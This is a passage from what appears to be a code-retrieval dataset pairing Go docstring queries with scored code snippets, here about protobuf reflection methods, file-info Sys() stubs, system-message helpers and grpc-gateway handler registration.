\"cosmos.group.v1beta1.MsgCreateGroupPolicyResponse.address\":\n\t\treturn x.Address != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgCreateGroupPolicyResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgCreateGroupPolicyResponse does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "7eba18abd9f22f1a5520d8f26aa57e26", "score": "0.5599212", "text": "func (x *fastReflection_MsgVoteResponse) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgVoteResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgVoteResponse does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "f0cf3a9c018460d16b9bee43f24cda42", "score": "0.55980194", "text": "func (o *Options) HasEscalationMessage() bool {\n\tif o != nil && o.EscalationMessage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "765baec5b521bd7269775996087d39bf", "score": "0.5591992", "text": "func (o *ChangeWidgetRequest) HasProcessQuery() bool {\n\tif o != nil && o.ProcessQuery != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "8c1eb1ea7255c8995b76ebab901eb174", "score": "0.55775815", "text": "func (o *ConnectionStatusSnapshotDTO) HasQueuedCount() bool {\n\tif o != nil && o.QueuedCount != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" } ]
507e673c5b716a16f1abebaba56aa5d4
Sys implements the Sys method of Message interface.
[ { "docid": "8ceec6b2a476682069479a6a5b2ebd61", "score": "0.6753535", "text": "func (m *InterfaceMessage) Sys() []Sys {\n\treturn []Sys{\n\t\t&InterfaceMetrics{\n\t\t\tType: int(m.raw[m.extOff]),\n\t\t\tMTU: int(nativeEndian.Uint32(m.raw[m.extOff+8 : m.extOff+12])),\n\t\t},\n\t}\n}", "title": "" } ]
[ { "docid": "70c6091d13ce1b539f3ad2133734eed0", "score": "0.69071704", "text": "func (dao *Dao) System(c context.Context, mc, resID string, mid int64, title, msg, info string, now time.Time) (err error) {\n\treturn dao.send(c, mc, resID, title, msg, _dataTypeSystem, 0, []int64{mid}, info, now.Unix())\n}", "title": "" }, { "docid": "7879d6f9332ad08248dbe4f85f9c25e0", "score": "0.6800327", "text": "func (fif *impl) Sys() interface{} { return fif.sys }", "title": "" }, { "docid": "26c81b9c22beb8ff5a5122bf799627ee", "score": "0.676567", "text": "func (ActorSignal) SystemMessage() {}", "title": "" }, { "docid": "41060cc1e3d7d6a2c8a613c36c13c0de", "score": "0.6571962", "text": "func (m *RouteMessage) Sys() []Sys {\n\treturn []Sys{\n\t\t&RouteMetrics{\n\t\t\tPathMTU: int(nativeEndian.Uint64(m.raw[m.extOff+8 : m.extOff+16])),\n\t\t},\n\t}\n}", "title": "" }, { "docid": "8c3a79fb877e1234c4fe1202e55e753a", "score": "0.65677494", "text": "func (e EntryEx) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "6fd5a3fd9497e4b964d8f682e3353ebe", "score": "0.65448743", "text": "func (p *ProcessStateReal) Sys() interface{} {\n\treturn p.processState.Sys()\n}", "title": "" }, { "docid": "3e23178d60337f857175d55926f7ff63", "score": "0.6463525", "text": "func (o *Object) Sys() interface{} {\n return o.sys\n}", "title": "" }, { "docid": "b07937961b8ed1608885381f3d6043dc", "score": "0.64543885", "text": "func (i *info) Sys() interface{} {\n\tif i.stat != nil {\n\t\treturn i.stat.Sys()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6ff2a3b6046aee3a5d317066028e81eb", "score": "0.6422162", "text": "func (a *archive) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "53c97dc7dd977f0c3fb1143e1885b14c", "score": "0.6374489", "text": "func (*Root) Sys() interface{} { return nil }", "title": "" }, { "docid": "e95e3962aba247353a059b69ff6288fd", "score": "0.6339396", "text": "func (f Folder) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "5fbbb39b803e3304fc09cd85b22b12a0", "score": "0.62956756", "text": "func (FutureResolved) SystemMessage() {}", "title": "" }, { "docid": "9aff9e8b8a45fa246b260e15a356c1a3", "score": "0.62695074", "text": "func (n NodeInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "8eeae9a44dded07f66b9b027acfa3b7e", "score": "0.6195093", "text": "func (d *Dao) SendSysMsg(c context.Context, mids []int64, title string, context string) (err error) {\n\tvar ip = metadata.String(c, metadata.RemoteIP)\n\tparams := url.Values{}\n\tparams.Set(\"mc\", \"1_14_6\")\n\tparams.Set(\"title\", title)\n\tparams.Set(\"data_type\", \"4\")\n\tparams.Set(\"context\", context)\n\tparams.Set(\"mid_list\", xstr.JoinInts(mids))\n\tvar res struct {\n\t\tCode int `json:\"code\"`\n\t\tData *struct {\n\t\t\tStatus int8 `json:\"status\"`\n\t\t\tRemark string `json:\"remark\"`\n\t\t} `json:\"data\"`\n\t}\n\tif err = d.client.Post(c, d.msgURL, ip, params, &res); err != nil {\n\t\terr = errors.Wrapf(err, \"SendSysMsg d.client.Post(%s)\", d.msgURL+\"?\"+params.Encode())\n\t\treturn\n\t}\n\tlog.Info(\"dao.SendSysMsg res (%+v) \", res)\n\tif res.Code != 0 {\n\t\terr = errors.Wrapf(ecode.Int(res.Code), \"SendSysMsg d.client.Post(%s,%d)\", d.msgURL+\"?\"+params.Encode(), res.Code)\n\t}\n\treturn\n}", "title": "" }, { "docid": "999cdc7686efd4e1e6959b2627183811", "score": "0.6173778", "text": "func Sys(ctx context.Context, key string) (res interface{}) {\n\torigin, ok := ctx.Value(sysKey{}).(SysMeta)\n\tif !ok || origin == nil {\n\t\treturn\n\t}\n\tres = origin[key]\n\treturn\n}", "title": "" }, { "docid": "a8e5a30f2147e85a55d4e7803432b780", "score": "0.6110446", "text": "func (info FileInfo) Sys() interface{} {\n\treturn info.sys\n}", "title": "" }, { "docid": "91f9dc87aeff205f1730a87ef8b9a5fe", "score": "0.6106702", "text": "func (PanicEvent) SystemMessage() {}", "title": "" }, { "docid": "e83309d8505d5d7e872ede009b8c8261", "score": "0.6097785", "text": "func (fi *FileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "fb2ff1b1b669e5368b4ecc19aea61e6b", "score": "0.60394377", "text": "func (o ConditionOutput) Sys() ConditionSysPtrOutput {\n\treturn o.ApplyT(func(v Condition) *ConditionSys { return v.Sys }).(ConditionSysPtrOutput)\n}", "title": "" }, { "docid": "4f3aec07a0482f602ee1125e543f8492", "score": "0.60379314", "text": "func (b *B) System() System { return b.system }", "title": "" }, { "docid": "25e287e488eb51dd65b000752a783da9", "score": "0.6013565", "text": "func (p *Parser) systemMessage(err mes.MessageType) bool {\n\tnm := mes.NewParserMessage(err)\n\ts := doc.NewSystemMessage(nm, p.token.Line)\n\tp.Msgr(\"Generating system message\", \"type\", err.String())\n\t// panic(\"foo\")\n\n\t// Insert text into the next buffer position to be picked up in the next pass of the parser\n\tinsertText := func() {\n\t\tp.insert(&tok.Item{\n\t\t\tType: tok.Text,\n\t\t\tText: nm.LiteralText,\n\t\t\tLength: len(nm.LiteralText),\n\t\t\tLine: nm.StartLine,\n\t\t\tStartPosition: nm.StartPosition,\n\t\t}, p.index+1)\n\t\t// p.DumpExit(p.buf[:p.index+3])\n\t\tp.Msgr(\"foooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\", \"line\", p.token.Line)\n\t\t// if p.token.Line == 16 {\n\t\t// panic(\"foo\")\n\t\t// // p.DumpExit(p.token)\n\t\t// // // p.DumpExit(p.Nodes)\n\t\t// // // p.DumpExit(p.buf[p.index-2 : p.index+3])\n\t\t// }\n\t}\n\n\tif mes.IsSectionMessage(err) {\n\t\tp.systemMessageSection(s, nm)\n\t\tif len(nm.LiteralText) > 0 {\n\t\t\tinsertText()\n\t\t}\n\t} else if mes.IsInlineMarkupMessage(err) {\n\t\tp.systemMessageInlineMarkup(s, nm)\n\t}\n\n\ts.Line = nm.MessageLine\n\ts.StartPosition = nm.StartPosition\n\ts.StartLine = nm.StartLine\n\ts.EndLine = nm.EndLine\n\tp.Messages.Append(s)\n\n\t// p.DumpExit(p.Messages)\n\treturn false\n}", "title": "" }, { "docid": "854a811055820a3678f6764d1c1b8cb5", "score": "0.6000913", "text": "func (u Unit) System() string { return u.system }", "title": "" }, { "docid": "3d43eaa9bd5df21828580d4a402077e4", "score": "0.59758514", "text": "func getSysCommonType(b byte) Type {\n\tty, has := syscommMessages[b]\n\tif !has {\n\t\treturn UnknownMsg\n\t}\n\treturn ty\n}", "title": "" }, { "docid": "68f8748eb3bfc330abc1a19216cb5d1a", "score": "0.59652716", "text": "func (o ConditionResponseOutput) Sys() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ConditionResponse) string { return v.Sys }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "93c2ecd040ddcb71a7c5bdf9e0fc7783", "score": "0.59554106", "text": "func (f *FileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "e76e1f0ddebe456aab215204290cf5d7", "score": "0.5950084", "text": "func (fi S3FileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "4a30c25007d0e90bb82b8b731d7ea3dc", "score": "0.59411937", "text": "func (o LicenseMasterSpecVolumesScaleIOPtrOutput) System() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *LicenseMasterSpecVolumesScaleIO) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.System\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "166863fe0789e0be176dccc2d073b6a5", "score": "0.59368175", "text": "func (ActorFailureSignal) SystemMessage() {}", "title": "" }, { "docid": "6708eeee10cca7a6ddf931aafc2c3a76", "score": "0.59136075", "text": "func (info *unixFileInfo) Sys() interface{} {\n\tif info == nil {\n\t\treturn nil\n\t}\n\treturn &info.sys\n}", "title": "" }, { "docid": "0413f0b3f1a68b33492ccded3f38b96f", "score": "0.5913227", "text": "func (fi bindataFileInfo) Sys() interface{} {\r\n\treturn nil\r\n}", "title": "" }, { "docid": "190466e07a7bcc4af6cba3d00ac2712b", "score": "0.5910004", "text": "func (d *SystemMessageMethodDao) QuerySysMsgById(id uint64) (sm *models.SystemMessage, err error) {\n\tif id <= 0 {\n\t\tcommon.LogFuncCritical(\"query SystemMessage id <= 0\")\n\t\treturn\n\t}\n\tsm = &models.SystemMessage{\n\t\tId: id,\n\t}\n\n\terr = d.Orm.Read(sm, models.ATTRIBUTE_AdminUser_Id)\n\tif err != nil {\n\t\tif err == orm.ErrNoRows {\n\t\t\terr = nil\n\t\t\treturn\n\t\t}\n\t\tcommon.LogFuncError(\"query SystemMessage by id error is %v\", err)\n\t\treturn\n\t}\n\treturn\n}", "title": "" }, { "docid": "3d6ac6c75769b9bc77b8add86e1ed0a9", "score": "0.58818674", "text": "func (f *FileInfo) Sys() interface{} {\n\treturn f.sys\n}", "title": "" }, { "docid": "3d6ac6c75769b9bc77b8add86e1ed0a9", "score": "0.58818674", "text": "func (f *FileInfo) Sys() interface{} {\n\treturn f.sys\n}", "title": "" }, { "docid": "5fb2dc40ad6092d81523bf6983649f30", "score": "0.58744454", "text": "func (s *Stream) WriteSysEx(when Timestamp, msg string) error {\n\tbuf, err := hex.DecodeString(strings.Replace(msg, \" \", \"\", -1))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn s.WriteSysExBytes(when, buf)\n}", "title": "" }, { "docid": "06bce786fbfaed3b0917dafc912cd74d", "score": "0.58595496", "text": "func (vm *vm) sys(addr uint16) {\n\tpanic(\"SYS is unimplemented\")\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" }, { "docid": "93b49b1620dd6565c19e64f857d5b9a3", "score": "0.5850822", "text": "func (fi bindataFileInfo) Sys() interface{} {\n\treturn nil\n}", "title": "" } ]
f24ef47080119d0828e0bde7d17a1ad9
RegisterRegistryServiceHandlerServer registers the http handlers for service RegistryService to "mux". UnaryRPC :call RegistryServiceServer directly. StreamingRPC :currently unsupported pending Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterRegistryServiceHandlerFromEndpoint instead.
[ { "docid": "4f2bb9bce579ffeee73fb72667f2d8bd", "score": "0.82604164", "text": "func RegisterRegistryServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server RegistryServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_FindRegisteredModel_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindRegisteredModel_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_FindRegisteredModel_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindRegisteredModel_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_GetRegisteredModel_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetRegisteredModel_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_GetRegisteredModel_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetRegisteredModel_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetRegisteredModelCount_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_GetRegisteredModelCount_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetRegisteredModelCount_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CreateRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream 